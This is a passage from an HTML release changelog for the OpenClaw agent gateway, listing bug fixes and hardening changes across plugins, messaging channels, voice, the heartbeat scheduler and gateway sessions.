<p>Heartbeat scheduler: gate exec-event/notification/spawn/retry wakes through a centralized cooldown so backgrounded <code>process.start</code> exit notifications can no longer self-feed runaway heartbeat runs (configured <code>every: "30m"</code> was firing every ~10s in production, pegging the gateway event loop with <code>eventLoopDelayMaxMs &gt;6s</code> spikes that stalled control-UI asset serving and TUI handshakes). Documented wake-now paths (<code>manual</code>, <code>wake</code>, task completion, blocked-task follow-up, <code>/hooks/wake mode=now</code>, and cron <code>--wake now</code>) remain immediate; retryable busy skips no longer poison the cooldown for the next retry; per-agent flood guard caps any unexpected feedback loop at 5 runs/60s. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236016269" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64016" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64016/hovercard" href="https://github.com/openclaw/openclaw/issues/64016">#64016</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3946045245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/17797" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/17797/hovercard" href="https://github.com/openclaw/openclaw/issues/17797">#17797</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362911805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75436" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75436/hovercard" href="https://github.com/openclaw/openclaw/issues/75436">#75436</a>) Thanks @hexsprite.</p>
</li>
<li>
<p>fix: block workspace CLOUDSDK_PYTHON override and always set trusted interpreter for gcloud. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352375218" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74492" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74492/hovercard" href="https://github.com/openclaw/openclaw/pull/74492">#74492</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</p>
</li>
<li>
<p>Providers/Z.AI: move the bundled GLM catalog and auth env metadata into the plugin manifest, so <code>models list --all --provider zai</code> shows the full known catalog without duplicated runtime seed data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Providers/Qianfan and Providers/Stepfun: declare setup auth metadata (<code>api-key</code> method, <code>QIANFAN_API_KEY</code>, <code>STEPFUN_API_KEY</code>) in the plugin manifest so onboarding and <code>models setup</code> surface the expected env var without falling back to legacy <code>providerAuthEnvVars</code> runtime seed data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>fix(infra): block ambient Homebrew env vars from brew resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351948564" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74463" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74463/hovercard" href="https://github.com/openclaw/openclaw/pull/74463">#74463</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</p>
</li>
<li>
<p>Onboarding/configure: avoid staging every default plugin runtime dependency after config writes, so skipped setup flows only prepare config-selected plugin deps instead of pulling broad feature-plugin packages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Thinking/providers: resolve bundled provider thinking profiles through lightweight provider policy artifacts when startup-lazy providers are not active, so OpenAI Codex GPT-5.x keeps xhigh available in Gateway session validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355122984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74796" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74796/hovercard" href="https://github.com/openclaw/openclaw/issues/74796">#74796</a>. Thanks @maxschachere.</p>
</li>
<li>
<p>Security/Windows: ignore workspace <code>.env</code> system-path variables and resolve stale-process <code>taskkill.exe</code> from the validated Windows install root, preventing repository-local env files from redirecting cleanup helpers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</p>
</li>
<li>
<p>CLI/plugins: refresh persisted plugin registry policy in place for <code>plugins enable</code> and <code>plugins disable</code>, so routine toggles no longer rebuild and hash every plugin source when the target is already indexed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Windows/install: run npm from a writable installer temp directory and pin the Bedrock runtime dependency below a Windows ARM Node 24 npm resolver failure, so global OpenClaw installs no longer fail before onboarding. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</p>
</li>
<li>
<p>CLI/plugins: scope install and enable slot selection to the selected plugin manifest/runtime fallback, so plugin installs no longer load every plugin runtime or broad status snapshot just to update memory/context slots. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/TTS: keep bundled speech-provider discovery available on cold package Gateway paths and add bundled plugin matrix runtime probes for health, readiness, RPC, TTS discovery, and post-ready runtime-deps watchdog coverage. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361552521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75283/hovercard" href="https://github.com/openclaw/openclaw/issues/75283">#75283</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Google Meet/Twilio: show delegated voice call ID, DTMF, and intro-greeting state in <code>googlemeet doctor</code>, and avoid claiming DTMF was sent when no Meet PIN sequence was configured. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Plugins/tools: prefer built bundled plugin code during tool discovery and skip channel runtime hydration while preserving companion provider registrations, reducing per-run plugin-tool prep cost without dropping executable plugin tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361658522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75290" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75290/hovercard" href="https://github.com/openclaw/openclaw/issues/75290">#75290</a>. Thanks @thanos-openclaw.</p>
</li>
<li>
<p>Plugins/loader: scope plugin-tool registry reuse to the enabled plugin plan and stored Gateway method keys, so embedded runner tool lookup can reuse compatible startup registries without hiding enabled non-startup plugin tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363466995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75520" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75520/hovercard" href="https://github.com/openclaw/openclaw/issues/75520">#75520</a>. Thanks @whtoo.</p>
</li>
<li>
<p>Voice Call/Twilio: send notify-mode initial TwiML directly in the outbound create-call request while keeping conversation and pre-connect DTMF calls webhook-driven, so one-shot notify calls do not depend on a first-answer webhook fetch. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335052780" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72758" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72758/hovercard" href="https://github.com/openclaw/openclaw/pull/72758">#72758</a>. Thanks @tyshepps.</p>
</li>
<li>
<p>Discord/Slack: defer status-reaction cleanup until run finalization so queued, thinking, tool, and terminal reactions no longer flicker during normal progress updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363934911" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75582" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75582/hovercard" href="https://github.com/openclaw/openclaw/pull/75582">#75582</a>)</p>
</li>
<li>
<p>Discord/voice: leave Discord voice off for text-only configs unless <code>channels.discord.voice</code> is explicitly configured, avoiding default <code>GuildVoiceStates</code> traffic and idle gateway CPU pressure for bots that do not use <code>/vc</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345485387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73753" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73753/hovercard" href="https://github.com/openclaw/openclaw/issues/73753">#73753</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347706250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74044" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74044/hovercard" href="https://github.com/openclaw/openclaw/issues/74044">#74044</a>. Thanks @sanchezm86 and @SecureCloudProjO.</p>
</li>
<li>
<p>Discord/voice: rerun configured voice auto-join after Discord gateway RESUMED events and ignore already-destroyed stale voice connections during reconnect cleanup, so health-monitor account restarts can rejoin configured channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4043554548" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40665" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40665/hovercard" href="https://github.com/openclaw/openclaw/issues/40665">#40665</a>. Thanks @liz709.</p>
</li>
<li>
<p>Plugins/CLI: reuse the cold manifest registry while building plugin status and inspect reports, so large configured plugin sets no longer rediscover the bundled/plugin registry once per inspect row. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/voice: lengthen the default voice join Ready wait, add configurable <code>voice.connectTimeoutMs</code>/<code>voice.reconnectGraceMs</code>, and warn before destroying unrecovered disconnected sessions so slow Discord voice handshakes and reconnects no longer fail silently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4223830724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63098" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63098/hovercard" href="https://github.com/openclaw/openclaw/issues/63098">#63098</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041199935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39825" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39825/hovercard" href="https://github.com/openclaw/openclaw/issues/39825">#39825</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245973986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65039" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65039/hovercard" href="https://github.com/openclaw/openclaw/issues/65039">#65039</a>. Thanks @darealgege, @kzicherman, and @ayochim.</p>
</li>
<li>
<p>Gateway/health: refresh cached health RPC snapshots when channel runtime state diverges, so Discord and other channel status reads no longer report stale running or connected values until the cache TTL expires. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362790644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75423" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75423/hovercard" href="https://github.com/openclaw/openclaw/pull/75423">#75423</a>)</p>
</li>
<li>
<p>Gateway/sessions: keep session-store reads from running stale prune and entry-count cap maintenance during startup, so oversized stores no longer block chat history readiness after updates while writes and <code>sessions cleanup --enforce</code> still preserve the cleanup safeguards. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4307434486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70050" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70050/hovercard" href="https://github.com/openclaw/openclaw/issues/70050">#70050</a>. Thanks @tangda18.</p>
</li>
<li>
<p>Security/audit: keep plain <code>security audit</code> on the cold config/filesystem path and reserve plugin runtime security collectors for <code>--deep</code>, so large plugin installs cannot execute every plugin runtime during routine audits. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/voice: merge configured media-understanding providers such as Deepgram into partial active provider registries, so follow-up voice turns keep transcribing after another media plugin is already active. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251059736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65687" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65687/hovercard" href="https://github.com/openclaw/openclaw/issues/65687">#65687</a>. Thanks @OneMintJulep.</p>
</li>
<li>
<p>WhatsApp: stage <code>qrcode</code> through root mirrored runtime dependencies so packaged QR pairing can render from staged plugin-runtime-deps installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362623764" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75394" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75394/hovercard" href="https://github.com/openclaw/openclaw/issues/75394">#75394</a>. Thanks @FelipeX2001.</p>
</li>
<li>
<p>Discord/voice: apply per-channel Discord <code>systemPrompt</code> overrides to voice transcript turns by forwarding the trusted channel prompt through the voice agent run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077930512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47095" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47095/hovercard" href="https://github.com/openclaw/openclaw/issues/47095">#47095</a>. Thanks @qearlyao.</p>
</li>
<li>
<p>Discord/native commands: send component-only interaction replies from slash command and status handlers instead of treating renderable Discord components as an empty response. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Slack/slash commands: send block-only slash command replies instead of dropping Slack block payloads with no plain-text fallback. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Telegram/messages: derive fallback text from interactive button/select labels before sending button-only payloads, so Telegram replies are not rejected as empty messages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>LINE/messages: send quick-reply-only payloads with fallback option text instead of accepting the payload and returning an empty delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Auto-reply/docking: require <code>/dock-*</code> route switches to start from direct chats, so group or channel participants cannot reroute a shared session's future replies into a linked DM. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord: keep text-DM main-session route updates pinned to the configured DM owner, matching component interactions so another direct-message sender cannot redirect future main-session replies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Mattermost/Matrix: keep direct-message main-session route updates pinned to the configured DM owner so paired or temporarily allowed senders cannot redirect future shared-session replies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord: keep SecretRef-backed bot tokens discoverable for message actions without resolving the token during schema generation, and resolve scoped channel SecretRefs before outbound agent message sends even when the tool is built from a config snapshot. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362174273" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75324" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75324/hovercard" href="https://github.com/openclaw/openclaw/issues/75324">#75324</a>. Thanks @slideshow-dingo and @Conan-Scott.</p>
</li>
<li>
<p>Updates: run package post-install doctor repair with the managed Gateway service profile and state paths when a daemon is installed, so shell/profile mismatches no longer repair the caller state while the restarted Gateway keeps stale config. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Models/DeepInfra: declare DeepInfra manifest catalog discovery and derive its runtime fallback catalog from the manifest, restoring provider-filtered <code>models list --all --provider deepinfra</code> rows without duplicated static model data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>CLI/update: verify managed gateway restarts against the installed service port instead of the caller shell port, so package updates do not report a healthy daemon as failed when profiles use different gateway ports. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/agent: reject strict <code>openclaw agent --deliver</code> requests with missing delivery targets before starting the agent run, so users do not wait for a completed turn that cannot send anywhere. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Setup/import: honor non-interactive <code>--import-from</code> onboarding flags by running the migration import path instead of silently completing normal setup without importing anything. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/voice: run voice-channel turns under a voice-output policy that hides the agent <code>tts</code> tool and asks for spoken reply text, so <code>/vc join</code> sessions synthesize and play agent replies instead of ending with <code>NO_REPLY</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4208687812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61536" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61536/hovercard" href="https://github.com/openclaw/openclaw/issues/61536">#61536</a>. Thanks @aounakram.</p>
</li>
<li>
<p>Doctor/plugins: keep plain <code>doctor --non-interactive</code> from installing bundled plugin runtime dependencies, so headless health checks report missing deps while <code>doctor --fix</code> remains the explicit repair path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Doctor/gateway: require an interactive confirmation before installing or rewriting the Gateway service, so <code>doctor --fix --non-interactive</code> can repair plugin/config drift without replacing the operator's launchd/systemd service from a temporary environment. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: include packaged OpenClaw identity in bundled plugin loader cache keys, so same-path package upgrades stop reusing stale versioned runtime-deps mirrors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357604708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75045" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75045/hovercard" href="https://github.com/openclaw/openclaw/issues/75045">#75045</a>. Thanks @sahilsatralkar.</p>
</li>
<li>
<p>Plugin SDK: restore reply-prefix and reply-pipeline helpers on the deprecated root/compat SDK surface so external plugins still using <code>openclaw/plugin-sdk</code> do not fail message dispatch after update. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359892122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75171" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75171/hovercard" href="https://github.com/openclaw/openclaw/issues/75171">#75171</a>. Thanks @zhangxiliang.</p>
</li>
<li>
<p>Plugins/runtime-deps: prune inactive same-package versioned runtime-deps roots after bundled dependency repair, so upgrades do not leave old <code>openclaw-&lt;version&gt;-&lt;hash&gt;</code> package caches behind after doctor runs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: prune legacy version-scoped plugin runtime-deps roots during bundled dependency repair and cover the path in Package Acceptance's upgrade-survivor matrix, so upgrades from 2026.4.x no longer leave stale per-plugin runtime trees after doctor runs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: keep Gateway startup plugin imports and runtime plugin fallback loads verify-only after startup/config repair planning, so packaged installs no longer spawn package-manager repair from hot paths after readiness. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361552521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75283/hovercard" href="https://github.com/openclaw/openclaw/issues/75283">#75283</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks @brokemac79 and @xiaohuaxi.</p>
</li>
<li>
<p>Plugins/runtime-deps: treat package.json runtime-deps manifests as supersets when generated materialization metadata is absent, so bundled plugin activation stops restaging already-installed dependency subsets on every activation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362879118" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75429" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75429/hovercard" href="https://github.com/openclaw/openclaw/issues/75429">#75429</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362889795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75431" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75431/hovercard" href="https://github.com/openclaw/openclaw/pull/75431">#75431</a>) Thanks @loyur.</p>
</li>
<li>
<p>iMessage: add stdin write callback and error listener to IMessageRpcClient so async EPIPE from a closed child process rejects the pending request instead of crashing the gateway with uncaughtException. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362994855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75438/hovercard" href="https://github.com/openclaw/openclaw/issues/75438">#75438</a>.</p>
</li>
<li>
<p>MCP/stdio: settle MCP stdio transport send() from the write callback instead of resolving immediately on buffer acceptance, so async write errors reject the promise instead of being lost. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362994855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75438/hovercard" href="https://github.com/openclaw/openclaw/issues/75438">#75438</a>.</p>
</li>
<li>
<p>Process/exec: add stdin error listener in runCommandWithTimeout so EPIPE from a prematurely-exited child is swallowed instead of escaping to uncaughtException. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362994855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75438/hovercard" href="https://github.com/openclaw/openclaw/issues/75438">#75438</a>.</p>
</li>
<li>
<p>Voice Call/realtime: add default-off fast memory/session context for <code>openclaw_agent_consult</code>, giving live calls a bounded answer-or-miss path before the full agent consult. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329662019" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71849" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71849/hovercard" href="https://github.com/openclaw/openclaw/issues/71849">#71849</a>. Thanks @amzzzzzzz.</p>
</li>
<li>
<p>Google Meet: interrupt Realtime provider output when local barge-in clears playback, so command-pair audio stops model speech instead of only restarting Chrome playback. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346767837" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73850/hovercard" href="https://github.com/openclaw/openclaw/issues/73850">#73850</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346567653" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73834" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73834/hovercard" href="https://github.com/openclaw/openclaw/pull/73834">#73834</a>) Thanks @shhtheonlyperson.</p>
</li>
<li>
<p>Gateway/config: cap oversized plugin-owned schemas in the full <code>config.schema</code> response so large installed plugin sets cannot balloon Gateway RSS or crash schema clients. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/update: skip ClawHub and marketplace plugin updates when the bundled version is newer than the recorded installed version, so <code>openclaw update</code> no longer overwrites working bundled plugins with older external packages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363046993" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75447" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75447/hovercard" href="https://github.com/openclaw/openclaw/issues/75447">#75447</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Gateway/sessions: use bounded tail reads for sessions-list transcript usage fallbacks and cap bulk title/last-message hydration, keeping large session stores responsive when rows request derived previews. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
